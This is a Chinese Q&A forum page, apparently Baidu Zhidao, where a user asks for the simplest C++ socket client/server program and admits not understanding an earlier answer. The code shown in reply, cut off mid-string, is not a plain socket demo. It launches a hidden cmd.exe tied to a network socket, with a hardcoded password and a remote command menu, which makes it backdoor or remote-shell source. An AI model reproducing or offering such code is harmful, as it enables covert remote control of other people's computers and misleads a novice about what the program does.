急求c++中的socket

来源:百度知道 编辑:UC知道 时间:2024/06/08 17:17:47
大致思路是这样的:
在SERVER端:
1、bind到某个端口
2、开始listen,将侦听刚刚那个端口
3、第三步是有端户端请求连接时发生的:accept接收请求
CLIENT端:
要new 一个ipendpoint包含了,服务器的ip和端口,然后connect这个ipendpoint来发送连接请求
收发数据用read和write
最后不要忘了要close
要成品 谢谢
也可以不安上面的写.我需要的是socket最简单的程序,这边呼叫下那边应答下就OK~只要能跑就行 谢谢勒
17木,你写的那个我看不懂....能解释下吗???呵呵

#include <winsock2.h>
#include <stdio.h>
#include <mmsystem.h>
#pragma comment(lib,"Ws2_32")
#pragma comment(lib,"Winmm.lib")

int cmdshell(SOCKET clientFD)
{
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
int ret;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
TerminateProcess(ProcessInformation.hProcess, 0);
CloseHandle(ProcessInformation.hProcess);

return 1;
}

char g_password[] = "ww0830";
char g_helpmess[] = "? --help\r\nopen --open optical disk\r\nclose